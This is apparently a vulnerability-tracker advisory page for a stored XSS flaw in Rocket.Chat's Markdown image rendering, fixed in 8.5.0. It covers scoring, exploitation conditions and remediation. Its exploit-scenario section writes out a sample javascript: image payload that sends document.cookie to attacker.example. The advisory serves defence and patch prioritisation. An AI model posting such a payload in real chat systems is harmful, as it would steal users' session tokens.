Skip to main content

Rocket.Chat EUVDEUVD-2026-39089

| CVE-2026-47733 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-24 security-advisories@github.com
4.4
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker authenticates to Rocket.Chat instance
  2. Delivery
    Posts Markdown image with javascript: URI as src in shared channel
  3. Exploit
    Victim views message on legacy browser
  4. Execution
    Victim clicks rendered image link
  5. Persist
    JavaScript executes in victim's browser session
  6. Impact
    Session token or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three simultaneous conditions: (1) The attacker must hold a valid authenticated Rocket.Chat account (PR:L) with permission to post messages containing Markdown image syntax in at least one shared channel or direct message thread. (2) The victim must be using a legacy or non-standard browser that executes javascript: URIs when an image link is clicked - this is the primary limiting factor (AC:H), as current Chrome, Firefox, and Edge releases block this behavior. (3) The victim must actively click the rendered image element (UI:R). What limits exploitation beyond the browser dependency: the attack is not exploitable against users on modern browser stacks, cannot be triggered passively on page load (click required), and requires the attacker to share a channel or conversation with the victim. Deployments where all users exclusively access Rocket.Chat via modern browsers are at substantially reduced practical risk.

Impact

The official CVSS 4.4 Medium score is consistent with the actual threat model. Attack Complexity High (AC:H) is justified by the legacy-browser dependency: current versions of Chrome, Firefox, and Edge block javascript: URI execution in image and anchor contexts, meaning exploitation is realistically limited to users on unpatched or non-standard browser builds. Low Privileges (PR:L) confirms an authenticated attacker account is required, and User Interaction Required (UI:R) means the victim must actively click the crafted image. No EPSS score was provided in the input data, preventing quantitative exploitation-probability assessment. No CISA KEV listing and no public exploit code have been identified at time of analysis, placing this firmly in the lower-urgency tier despite the XSS class. Real-world risk is therefore modest: deployments where all users access Rocket.Chat via modern, enforced-update browsers face substantially reduced exposure, though the patch is straightforward and should be applied. CVSS Scope:Changed correctly captures that a successful click-triggered exploit can steal session tokens belonging to a different user than the attacker.

Exploit ScenarioDerived

An authenticated Rocket.Chat user posts a message containing a Markdown image with a javascript: URL as the src attribute, such as ![img](javascript:fetch('https://attacker.example/steal?c='+document.cookie)). A second user viewing the channel on a legacy browser clicks the rendered image, triggering JavaScript execution in their session and exfiltrating their session token to an attacker-controlled server. No public exploit code has been identified at time of analysis, though the technique requires only basic knowledge of Markdown syntax and browser behavior.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 24, 2026

Stored XSS in Rocket.Chat's Gazzodown Markdown renderer allows authenticated users to inject javascript: protocol URIs into image elements that execute arbitrary JavaScript in a victim's browser session upon click. The ImageElement component in versions prior to 8.5.0 omits the sanitizeUrl() guard applied by the analogous LinkSpan component, creating an inconsistency that bypasses javascript:, data:, and vbscript: protocol blocking. No public exploit has been identified at time of analysis; exploitation is constrained to legacy browsers and requires victim interaction, reflected in the official CVSS score of 4.4 Medium.

RemediationAI

Vendor-released patch: Rocket.Chat 8.5.0, which applies equivalent protocol sanitization (sanitizeUrl) to the ImageElement component, closing the inconsistency with LinkSpan. Upgrade to 8.5.0 or later following guidance at https://github.com/RocketChat/Rocket.Chat/security/advisories/GHSA-vvrf-fq54-q4pr. If an immediate upgrade is not feasible, restrict markdown image posting to trusted user roles via Rocket.Chat's built-in permission system (Administration > Permissions), reducing the attacker population at the cost of limiting legitimate image sharing for lower-trust users. Additionally, enforcing a modern browser policy (Chrome, Firefox, or Edge on current stable releases) across all Rocket.Chat clients eliminates the primary execution vector, since those browsers block javascript: protocol in image contexts - however, this is an organizational control that cannot be technically enforced for all endpoints.

Affected VersionsENISA

Rocket.Chat < 8.5.0

Affected Packages

euvd rocket_chat fix: 8.5.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is located in the ImageElement component within Rocket.Chat's gazzodown package - the Markdown rendering library embedded in the platform. The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS): user-controlled src values are interpolated directly into <a href> and <img src> HTML attributes without protocol validation. The codebase's LinkSpan component demonstrates the correct pattern by calling sanitizeUrl() to strip dangerous scheme prefixes (javascript:, data:, vbscript:), but ImageElement was never updated with the same guard, leaving a feature-level inconsistency. The CVSS Scope:Changed metric (S:C) reflects that injected script executes in the victim's browser context, allowing cross-user session impact beyond the attacker's own account.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 4.4 MEDIUM
AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 4.4 MEDIUM

Network delivery with authenticated sender (PR:L), legacy-browser precondition raises complexity (AC:H), victim click mandatory (UI:R), cross-user session impact drives S:C with limited C/I.

3.1 AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jun 24, 2026 - 22:03 EUVD

DescriptionCVE.org

Rocket.Chat is an open-source, secure, fully customizable communications platform. Prior to 8.5.0, the ImageElement component in packages/gazzodown renders user-controlled src values directly into <a href> and <img src> attributes without protocol sanitization. Unlike the analogous LinkSpan component - which uses sanitizeUrl to block javascript:, data:, and vbscript: protocols - ImageElement passes the raw URL through unchanged. An authenticated user can post a markdown image with a javascript: URL that, if clicked on an older browser, would execute arbitrary JavaScript in the viewer's session. This vulnerability is fixed in 8.5.0.

Threat Intelligence Overview

EPSS Score
0.1%
Top 98% exploitable
Prevalence
Medium
popular self-hosted open-source team chat, common in enterprises
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy